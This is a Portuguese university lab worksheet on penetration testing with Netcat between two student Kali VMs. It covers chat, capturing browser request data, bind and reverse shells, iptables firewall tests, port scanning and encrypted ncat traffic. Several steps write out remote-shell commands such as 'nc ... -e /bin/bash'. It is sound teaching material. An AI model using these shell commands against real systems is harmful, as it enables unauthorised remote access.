

Objetivo: Conhecer e utilizar algumas técnicas e ferramentas de *penetration testing*.

Se precisar instalar: [Kali Linux \(imagem para VirtualBox\)](#) e [Oracle VM e Extension Pack](#). Alterar a configuração de Rede para que a placa funcione em modo *bridge* (alvo e atacante estarão na mesma rede).

Cada dupla deve utilizar dois PCs, executando as máquinas virtuais do Kali e conectadas à mesma rede: um será o **atacante**, o outro o **alvo**.

Descrição:

- 1) Quais os endereços IP de cada computador?
- 2) Teste a conectividade entre as máquinas, **atacante** e **alvo**, realizando um **ping**.
- 4) Se conseguiu a conexão entre as máquinas, a conexão está correta e podemos começar.
- 5) Existem várias ferramentas que podem ser utilizadas para verificar portas abertas e realizar comunicações. Uma delas é o **Netcat**, que é um utilitário capaz de ler e gravar dados através de conexões de rede, utilizando os protocolos TCP/UDP. Algumas formas de uso são:
nc -v IP/DOMÍNIO PORTA #Tenta conectar ao IP ou domínio na porta indicada
nc -vnlp PORTA #Abre uma porta TCP no atacante
nc -vnlp PORTA #Abre uma porta UDP no atacante
- 6) Vamos testar o **Netcat** criando um *chat* entre as duas máquinas. Na máquina **atacante**, execute o **Netcat** para escutar em alguma porta TCP, por exemplo:
netstat -nlptu #Verifica quais portas TCP e UDP estão abertas
nc -vnlp 8000 #Abre uma porta TCP que NÃO esteja sendo usada
- 7) Na máquina **alvo**, digite o comando:
nc IP_atacante 8000
- 8) Verifique se ocorreu a conexão e comece a digitar mensagens de uma máquina para a outra. Você acha que essa funcionalidade pode ser útil para um atacante? Como?
- 9) Outro teste interessante com o **Netcat** é abrir uma porta tipicamente web, 80 ou 8080, e solicitar a máquina cliente para acessar pelo *browser* o endereço. Na máquina **atacante** faça:
 - crie um arquivo texto chamado **servidor** com a frase “Servidor temporariamente indisponível”
 - execute o comando:
nc -vnlp 8080 < servidor #Abre a porta TCP 8080
- 10) Na máquina **alvo**, abra o *browser* e digite **endereçoIPatacante:8080**. Não aparecerá ainda nenhuma página, mas verifique na máquina **atacante** as informações coletadas do **alvo**. Digite CTRL+C na primeira máquina e veja o que aparece no *browser* da segunda. Responda:
 - Quais são as informações do alvo que foram coletadas?
 - Elas são úteis para a realização de algum ataque? Por quê?
- 11) Também é possível gravar todas as mensagens trocadas pelo **Netcat**, basta direcionar para um arquivo quando abrir uma conexão com o **Netcat**, na máquina **atacante** digite:
nc -vnlp 8000 > mensagens
- 12) Na *alvo*, faça a conexão com a máquina **atacante**:
nc IP_atacante 8000
- 13) Troque algumas mensagens entre as máquinas e depois cancele a conexão (CTRL+C). Na máquina **atacante**, abra o arquivo mensagens.

Responda:

- O quê aparece no arquivo mensagens?
- Como isso poderia ser usado por um atacante?

14) O acesso remoto também é possível com o **Netcat**. Na máquina **alvo**, abra uma porta para receber comandos:

```
nc -vnlp 5050 -e /bin/bash
```

15) Na máquina **atacante**, digite o comando para estabelecer conexão:

```
nc -vn IP_alvo 5050
```

16) Após estabelecida a conexão, digite na máquina **atacante** alguns comandos Linux, como **ip a**, **sudo su** ou qualquer comando que você queira e observe as respostas. Responda:

- Essa forma de comunicação é útil para um atacante? Por quê?
- Como um atacante poderia começar a executar o **Netcat** na máquina alvo?

17) O exemplo anterior é chamado de **conexão direta** (*bind shell*), quando um alvo é um servidor, que começa a escutar em uma porta, e um cliente (atacante) realiza a conexão a esta porta e começa a enviar mensagens ou comandos. Realizar esta conexão direta é fácil quando não há *firewall* protegendo o servidor, então qualquer porta pode ser aberta. Para os casos em que há um *firewall* analisando as conexões de entrada ao servidor, é necessário utilizar outro tipo de conexão, a **conexão reversa** (*reverse shell*). Para testar, vamos bloquear a conexão de entrada com todas as portas de um alvo. Na máquina **alvo**, execute a regra de *firewall* de bloqueio de conexões de entrada, seguido da execução do **Netcat**:

```
sudo iptables -L
```

```
sudo iptables -P INPUT DROP
```

```
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
```

```
sudo iptables -L
```

```
nc -vnlp 5050 -e /bin/bash
```

18) Na máquina **atacante**, vamos verificar se há bloqueios de portas e se é possível conectar com o **Netcat**, via TCP ou UDP:

```
nmap -v -sTU IP_alvo
```

```
nc -vn IP_alvo 5050
```

19) Responda:

- O comando **nmap** mostrou portas abertas?
- A conexão foi estabelecida? Por quê?

20) Cancele os comandos anteriores do **Netcat** nas duas máquinas. Vamos testar agora uma conexão reversa. Na máquina **atacante**, vamos abrir uma porta com o **Netcat**:

```
nc -vnlp 5050
```

21) Na máquina **alvo**, digite o comando do **Netcat**:

```
nc -nv IP_atacante 5050 -e /bin/bash
```

22) Agora, a máquina **alvo** é que realiza o pedido de conexão, então se o *firewall* verifica o tráfego de entrada, mas não verifica o tráfego de saída, a conexão reversa ainda é possível.

Responda:

- A conexão reversa foi realizada?
- O quê precisa ser feito no *firewall* para evitar a conexão reversa?

23) Na máquina **alvo**, execute a seguinte regra de *firewall* para bloquear também o tráfego de saída:

```
sudo iptables -P OUTPUT DROP
```

```
sudo iptables -L
```

24) Repita o teste da conexão reversa, passos 21 e 22. Responda:

- A conexão reversa foi estabelecida? Por quê?
- Que conclusão sobre *firewall* é possível tirar depois dessa experiência?

25) Retorne o *firewall* da máquina **alvo** para estado inicial:

```
sudo iptables -F
```

```
sudo iptables -X
```

```
sudo iptables -P INPUT ACCEPT
```

```
sudo iptables -P OUTPUT ACCEPT
```

`sudo iptables -L`

26) Com o **Netcat** também é possível executar códigos, *scripts* e programas. Por exemplo, na máquina **alvo**, crie o arquivo **ping.sh** com o seguinte código:

```
#!/bin/bash
```

```
ping -c1 IP_atacante
```

27) Salve o arquivo e altere a permissão para execução:

```
chmod +x ping.sh
```

28) Ainda na máquina **alvo**, digite o comando:

```
nc -nlvp 5050 -e ping.sh
```

29) Na máquina **atacante**, digite o comando:

```
nc -vn IP_alvo 5050
```

30) Responda:

- O quê apareceu?
- Como essa funcionalidade pode ser usada pelo atacante?

31) O **Netcat** também funciona como *scanner* de portas, de uma porta específica ou de um intervalo de portas. Por exemplo, digite os seguintes comandos na máquina **atacante** para o IP do servidor indicado pela professora:

```
nc -vzn IP_servidor PORTA
```

```
nc -vzn IP_servidor PORTA1-PORTAN
```

Coloque como PORTA valores de serviços conhecidos como 21, 22, 80, etc, ou o intervalo 1-1023

32) O **Netcat** (nc) é sem criptografia, por isso é possível capturar todo o tráfego entre as máquinas. O **ncat** é similar ao **nc**, porém com criptografia do tráfego. Para testar, instale o **ncat** no Kali das duas máquinas (se ainda não estiver sido instalado):

```
sudo apt update
```

```
sudo apt install ncat
```

33) Para comparar, vamos capturar as comunicações utilizando o Wireshark, primeiro com o **Netcat**, depois com o **ncat** e verificar que no primeiro caso a conversa pode ser vista a partir de clique direito do mouse sobre o primeiro pacote TCP, **Follow >> TCP Stream**. No segundo caso, a conversa não aparece legível.

34) Na máquina **atacante**, inicie a captura de pacotes no Wireshark. Depois, digite cada comando a seguir em uma janela de terminal diferente:

```
ncat -vnlp 8000 --ssl
```

```
nc -vnlp 8001
```

35) Na máquina **alvo**, digite cada comando a seguir em uma janela de terminal diferente:

```
ncat -vn IP_atacante 8000 --ssl
```

```
nc -vn IP_atacante 8001
```

36) Envie mensagens nas duas janelas.

37) Pare a captura do Wireshark e filtre por **tcp and ip.addr==IP_ALVO**. Procure pelos primeiros pacotes de dados trocados entre as máquinas (depois do *3-way handshake* do TCP ou *Application data* do TLS) e clique com o botão direito do mouse sobre o primeiro pacote, **Follow >> TCP Stream**.

38) Faça um *print screen* da captura de pacotes dos dois cenários, com **Netcat** e com **ncat**, para mostrar a diferença e cole-os aqui.

39) Por que um atacante escolheria usar o **ncat** ao invés do **nc**?

40) Envie suas respostas em PDF pelo SIGAA.